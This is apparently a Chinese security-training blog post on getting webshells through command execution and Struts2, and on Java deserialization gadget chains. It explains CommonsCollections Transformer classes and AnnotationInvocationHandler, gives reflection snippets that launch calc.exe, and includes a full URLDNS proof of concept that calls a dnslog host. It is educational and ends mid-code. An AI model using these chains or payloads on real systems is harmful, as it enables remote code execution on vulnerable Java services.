红队专题-漏洞挖掘代码审计-RCE-反序列化

在这里插入图片描述

渗透测试-php命令执行-RCE+Struts2拿webshell

原地址: 第六十二课-拿webshell篇-命令执行漏洞拿webshell
Cracer网络渗透全部教程

普通权限 命令执行 拿 webshell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

CMD echo 写入一句话 php文件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

同级目录写入文件
在这里插入图片描述
在这里插入图片描述

菜刀连接

在这里插入图片描述
在这里插入图片描述

Struts2 拿 webshell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

基于JAVA

方式与接口介绍

TransformedMap

在这里插入图片描述

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,
被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
   
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer){
   
   super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}


这里它的构造方法为protected类型,
创建对象需要通过TransformedMap.decorate()来获得一个TransformedMap实例

示例::::::::::::::::::::::::::::::::::::::::::::::
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
::::::::::::::::::::::::::::::::::::::::::::::::
通过上面这串代码 对innerMap进行修饰 传出的outerMap就是修饰后端Map同时 可以通过TransformedMap.decorate() 方法 来获得一个TransformedMap的实例
    
keyTransformer是 处理新元素Key的回调 
valueTransformer是处理新元素value的回调
这里的回调 并不是传统意义上的回调函数 而是一个实现了Transformer接口的类    
    
    
在TransformedMap类中有三个方法,它会执行传入的参数的transform()方法

Transformer

是一个接口,它只有一个待实现的方法

public interface Transformer {
   
    public Object transform(Object input); 
}

TransformedMap 在转换 Map 的新元素时,就会调⽤ transform ⽅法,这个过程就类似在调⽤⼀个 回调函数 ,这个回调的参数是原始对象。

ConstantTransformer

在这里插入图片描述

函数是实现transformer接口的一个类,
在该函数里面有一个构造函数,会传入我们的Object,在transform方法中又会将该Object返回
 
public ConstantTransformer(Object constantToReturn) {
   
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
   
    return this.iConstant;
}    
所以 他的作用就是 包装任意一个对象 在执行回调的时候 返回这个对象    

InvokerTransformer

在这里插入图片描述
一些继承
在这里插入图片描述
在这里插入图片描述

实现了Transformer接口的一个类 可以用来执行任意方法 也是反序列化的关键
    
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
   
     super();
     iMethodName = methodName;
     iParamTypes = paramTypes;
     iArgs = args;
    
在实例化这个InvokerTransformer的时候 
    需要三个参数  该类的构造方法中传入三个变量,分别是方法名,参数的类型,和参数 
    第一个是待执行的方法名 
    第二个是这个函数的参数列表的参数类型 
    第三个是传给这个函数的参数列表    

在这个类中实现的transform方法如下

public Object transform(Object input) {
   
    if (input == null) {
   
        return null;
    } else {
   
        try {
   
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
   
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
   
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
   
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}
    

其中
    
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
利用反射的知识, 对于反射的实现 getClass() getMethod() invoke()
执行了input 对象的iMethodName方法,但是这里有一个问题,
就是transform方法中的input对象我们并不能控制,这里就要用到我们的下一个知识点

ChainedTransformer

也是实现了Transformer接口的一个类 
其作用是 将内部的多个Transformer串在一起 前一个回调返回的结果 作为后一个回调的参数传入
public Object transform(Object object) {
   
    for(int i = 0; i < this.iTransformers.length; ++i) {
   
        object = this.iTransformers[i].transform(object);
    }
利用一个循环,把一串 transform 串起来
该方法首先有一个构造函数,
将传入的Transformer类型的数组赋值给iTransformers,这里iTransformers是一个数组
    
而在该函数的transform方法中 
它会将前一个transform返回的结果作为后一个对象的传参,假设我们传入的Transformer[]数组中有两个数据

    new ConstantTransformer(Runtime.getRuntime())

    new InvokerTransformer("exec", new Class[]{
   String.class},new Object[{
   "calc"})

就可以执行系统命令了,当然还有个前提:就是触发TransformedMap中的那三个方法,这也就是关键的地方了,这三个方法的类型都是protected,前两个由下面这两个public方法调用
 public object put(object key, object value) {
   
     key = this.transformKey(key);
     value = this,transformValue(value);
     return this.getMap().put(key, value);
 }
public void putAll(Map mapToCopy)
   {
   mapToCopy = this.transformMap(mapToCopy);
    this.getMap().putAl(mapToCopy);
    
而checkSetValue则可以从注释中看到,当调用该类的setvalue方法时,
会自动调用checkSetValue方法,而该类的setValue方法则继承于它的父类AbstractInputCheckedMapDecorator
    Override to transform the value when using <code>setValue</code>
    
去它的父类看一下
AbstractInputCheckedMapDecorator

    public object setValue(object value) {
   
value = this.parent.checkSetValue(value);
    return super.entry.setValue(value);
}
这里的this.parent传入的就是TransformedMap,AbstractInputCheckedMapDecorator 的根父类
    实际就是 Map ,所以我们现在只需要找到一处 readObject 方法,
    只要它调用了 Map.setValue() 方法,即可完成整个反序列化链。(这里涉及一些多态的知识)
    

满足这个条件的 AnnotationInvocationHandler 类,该类属于 JDK1.7 自带

while(var4.hasNext()) {
   
    Entry var5 = (Entry)var4.next();
    String var6 = (String)var5.getKey();
    class var7 = (class)var3.get(var6);
    if (var7 != null) {
   
        Object var8 = var5.getValue( );
        if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
   
        var5.setvalue((new AmotationtypelismatchExceptionProxy( var8,getclass() + "["+ var8 + "]")).setMember((Method)var2.members().get(var6)));
        }
    }
}
AnnotationInvocationHandler类的readObject 方法中看到 setValue 方法的调用
这里先看看它的构造函数


AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2){
    Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1  && var3[0] == Annotation.class) {
   
    this.type = var1;
    this.memberValues = var2;
} else {
   
	throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type,");
	}
}
    
    
这里先直接给出两个条件:

sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是

Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X

被 TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素

所以,在Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,我需要给Map中放⼊⼀个Key是value的元素:
    
    
innerMap.put("value", "xxxx");
    
分析一下为什么需要有一个方法名和我们key一样
    
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
   
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
   
            this.type = var1;                   //this.type是我们传入的Annotation类型Class
            this.memberValues = var2;           //memberValues为我们传入的map
        } else {
   
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
   
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
   
            var2 = AnnotationType.getInstance(this.type);  //跟进getInstance,这里先看下面的图片以及文字
        } catch (IllegalArgumentException var9) {
   
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();  //这个方法返回var2.memberTypes,我们的memberTypes是一个hashmap,而且key为"value"
        Iterator var4 = this.memberValues.entrySet().iterator();//memberValues为我们传入的map

        while(var4.hasNext()) {
   
            Entry var5 = (Entry)var4.next();     //遍历map
            String var6 = (String)var5.getKey();//获取map的key,这里我们传入一个值为value的key,令var6="value"
            Class var7 = (Class)var3.get(var6);//在var3中找key为var6的值,如果在这里没有找到,则返回了null,所以我们需要找一个Annotation类型有方法名为我们map的key
            if (var7 != null) {
   
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
   
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
var1.getAnnotationType

跟进var1.getAnnotationType方法
    
这里前面两个直接过了,来到了第三步,new AnnotationType(var0),这里var0为我们传入的Annotation类型Class跟进去
后面返回了Annotation类型的所有Methods。
    接着遍历的它的所有方法,这里经过了一个for循环,var6是获得的Methods,
    var7接着获取了方法名。
        然后将返回的方法名put到了memberTypes中,这里比较关键,后面会用上,
    现在大家就记住memberTypes是一个hashmap对象,里面的key是我们传入的Annotation类型Class的方法名字
        
总结一下这一段就类似于这段代码:

public static void main(String[] args) throws Exception {
   
    Class input=Retention.class;
Method[] method= input.getDeclaredMethods();
    System.out.println(method[0].getName( ));
	}
 }
                                                                        
                                                                        
java.lang.annotation.Retention

在该类中有一个value方法
所以我们map类再传一个

innermap.put("value", "xxx");

其实这里不止这一个类可以使用,如java.lang.annotation.Target 也可

Constructor.newInstance

反射内容扩展

曾见到过这个函数 也就是 和Class.newInstance()一起介绍的

Class.newInstance() 只能够调用无参的构造函数,即默认的构造函数;
但是 Constructor.newInstance() 可以根据传入的参数,调用任意构造构造函数。

Class.newInstance() 要求被调用的构造函数是可见的,也即必须是 public 类型的,
但是 Constructor.newInstance() 在特定的情况下,可以调用私有的构造函数,需要通过 setAccessible(true) 实现。

public T newInstance(Object... initargs)
  throws InstantiationException, IllegalAccessException,
         IllegalArgumentException, InvocationTargetException

首先 我们需要用到一个新的 反射方法 getConstructor 
             其与getMethod相类似 其接受的参数还是有 构造函数列表类型 
             因为 构造函数也支持重载 所以 必须用参数列表类型parameterTypes才能确定一个唯一的构造函数
             
public Constructor<T> getConstructor(Class<?>... parameterTypes) throws NoSuchMethodException,SecurityException
             
比如 我们常用的一种执行命令的
凡是 ProcessBuilder 我们可以适用反射来获取其构造函数 然后调用start() 来执行命令 java.lang.ProcessBuilder中 有两个构造函数 但是都是有参数的 非默认的函数

public ProcessBuilder(List<String> command) 
public ProcessBuilder(String... command)

JDK安装目录下的jre\lib下的rt.jar存放的是所有的class文件,安装目录下的src.zip存放的是所有的源代码

我们还是可以利用forName来获取类的对象 
然后后续再利用getMethod("")和 invoke() 获取构造方法 并调用start执行命令 这里参数可以直接写在Constructor.newInstance 中 作为构造方法的参数
package test;

import java.util.Arrays;
import java.util.List;

public class test {
   
    public static void main(String[] args) throws Exception{
   
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
    }
}


引用类型转换

或者 我们可以这样写

package test;

import java.util.Arrays;
import java.util.List;

public class test {
   
    public static void main(String[] args) throws Exception{
   
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        ((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
    }
}


这样用到的就是一个强制类型转换 是在引用过程中发生的引用类型转换

如此写 我们可以省略掉 之前反射中的getMethod.invoke 的步骤
    
    
    
    
可变参数

我们前面有提到 ProcessBuilder是有两个构造方法的

刚才上面是第一个 下面看一下第二个

public ProcessBuilder(String... command),
这里是 JAVA 中的 可变长参数 ,当你定义函数的时候不确定参数数量的时候,
可以使用 ... 这样的语法来表示“这个函数的参数个数是可变的” 也就是我们常说的可变参数 
    
    但是 在使用这种方式表达的时候 Java在编译的时候实际上会将其编译成一个数组 
    所以这种表达方式 和 String[] 这种表达方式 是等价的 且不能重载
    
    


也就是说 当我们传入一个数组的时候 这里的可变参数 实际上也是可以当数组来用的 我们认定其为数组就OK

所以 我们将字符串数组的类 String[].class 
    传给 getConstructor 获取ProcessBuilder的第二种构造函数

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class)

在调用newInstance的时候 因为本身这个函数接受到的就是一个可变参数 是一个数组 
我们传给ProcessBuilder的也是一个数组 叠加就会编程二维数组 String[][]

我们将上面的两个调用方法稍加修改

Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{
   {
   "calc.exe"}})).start();

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(getConstructor(String[].class).newInstance(new String[][]{
   {
   "calc.exe"}})));

执行私有方法

涉及到getDeclared系列的反射 与我们之前的getMethod的区别在于

getMethod系列方法获取的是当前类中所有公共方法,包括从父类继承的方法
getDeclaredMethod系列方法获取的是当前类中“声明”的方法,
是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了

现在我们可以这样 下面用到了一个getDeclaredConstructor() 可以获取一个私有的

Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");

这里用到了一个setAccessible 是必须的 我们获取到一个私有方法的时候 
必须使用setAccessible修改其作用域 来打破私有方法的访问限制
writeObject()readObject() 是用于序列化和反序列化对象的方法
writeObject() 方法用于将一个对象序列化成字节流,可以将该字节流写入文件或通过网络传输。而 readObject() 方法则用于将一个字节流反序列化成对象。
    private void writeObject(ObjectOutputStream out) throws IOException {
   
        // 序列化对象时会调用该方法
        out.defaultWriteObject();   // 先将非transient属性写入
        out.writeObject(password);   // 手动将transient属性写入
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
   
        // 反序列化对象时会调用该方法
        in.defaultReadObject();   // 先读取非transient属性
        password = (String) in.readObject();   // 手动读取transient属性
    }

Serializable 接口
Serializable 接口是一个标记接口,用于标识一个类可以被序列化。

在这里插入图片描述

URLDNS链

Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests
错误信息如下,主要是因为在pom.xml缺少commons-io的依赖:
在pom.xml的dependencies标签里添加依赖项:
<dependency>
	<groupId>commons-io</groupId>
	<artifactId>commons-io</artifactId>
	<version>2.4</version>
</dependency>

使⽤Java内置的类构造,对第三⽅库没有依赖
在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞


大致流程为:

        HashMap->readObject()

        HashMap->hash()

        URL->hashCode()

        URLStreamHandler->hashCode()

        URLStreamHandler->getHostAddress()

        InetAddress->getByName()

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java



利用链

HashMap.readObject()
        HashMap.putVal()
          HashMap.hash()
 *           URL.hashCode()
 
 
 先贴poc,大家可以一边调试一边分析
 
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
   
    public static Object urldns() throws Exception{
   
        //漏洞出发点 hashmap,实例化出来
        HashMap<URL, String> hashMap = new HashMap<URL, String>(); //URL对象传入自己测试的dnslog
        URL url = new URL("http://txbjb7.dnslog.cn"); //反射获取 URL的hashcode方法
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //使用内部方法
        f.setAccessible(true);
        // hashMap.put时会调用hash(key),这里先把hashCode设置为其他值,避免和后面的DNS请求混淆
        f.set(url, 0xAAA);
        hashMap.put(url, "Yasax1");
        // hashCode 这个属性放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
        f.set(url, -1);
        // 序列化成对象,输出出来
       return hashMap;
    }
    public static void main(String[] args) throws Exception {
   
        payload2File(urldns(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
   
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
   
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

https://xz.aliyun.com/t/9873

CB链

CommonsCollections反序列化

版本:jdk8u65版本
(从jdk8u71开始,就有漏洞修复了) 

CC1 CommonsCollections 1

Commons Collections的利用链也被称为cc链,
在学习反序列化漏洞必不可少的一个部分。

    
https://commons.apache.org/proper/commons-collections/index.html
Apache Commons CollectionsJava中应用广泛的一个库,
一个扩展了Java标准库里的Collection结构的第三方基础库,
    它提供了很多强有力的数据结构类型并实现了各种集合工具类,被广泛运用于各种Java应用的开发,
    目前常说的存在缺陷的版本是Apache Commons Collections 3.2.1以下(4.0版本也是存在的)
包括WeblogicJBossWebSphereJenkins等知名大型Java应用都使用了这个库。

    
其主要特点如下

Bag - Bag接口简化了每个对象具有多个副本的集合。
BidiMap - BidiMap接口提供双向映射,可用于使用键或键使用的值来查找值。
MapIterator - MapIterator接口为映射提供了简单和易于迭代方法。
转换装饰器 - 转换装饰器(Transforming Decorators)可以在集合添加到集合时改变集合的每个对象。
复合集合 - 复合集合用于要求统一处理多个集合的情况。
有序映射 - 有序映射保留元素添加的顺序。
有序集 - 有序集保留元素添加的顺序。
参考映射 - 参考映射允许在密切控制下对键/值进行垃圾收集。
比较器实现 - 许多比较器实现都可用。
迭代器实现 - 许多迭代器实现都可用。
适配器类 - 适配器类可用于将数组和枚举转换为集合。
实用程序 - 实用程序可用于测试测试或创建集合的典型集合理论属性,如联合,交集。 支持关闭。    
    
转换装饰器 可以在集合添加到集合时改变集合的每个对象。(CVE-2015-4852)    
搭建一下测试环境 JDK1.73.1版本的CCOracle OpenJDK version 17.0.1
commons-collections-3.1.jar  
    
CC1指的是lazymap那条链子,但是网上也有很多关于transformedmap的分析,


CC1的测试环境需要在Java 8u71以前。

在此改动后,AnnotationInvocationHandler#readObject不再直接使⽤反序列化得到的Map对象,
⽽是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。
所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作,
测试环境

    JDK 1.7
    Commons Collections 3.1


transformedmap链
import java.io.FileInputStream;
import 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值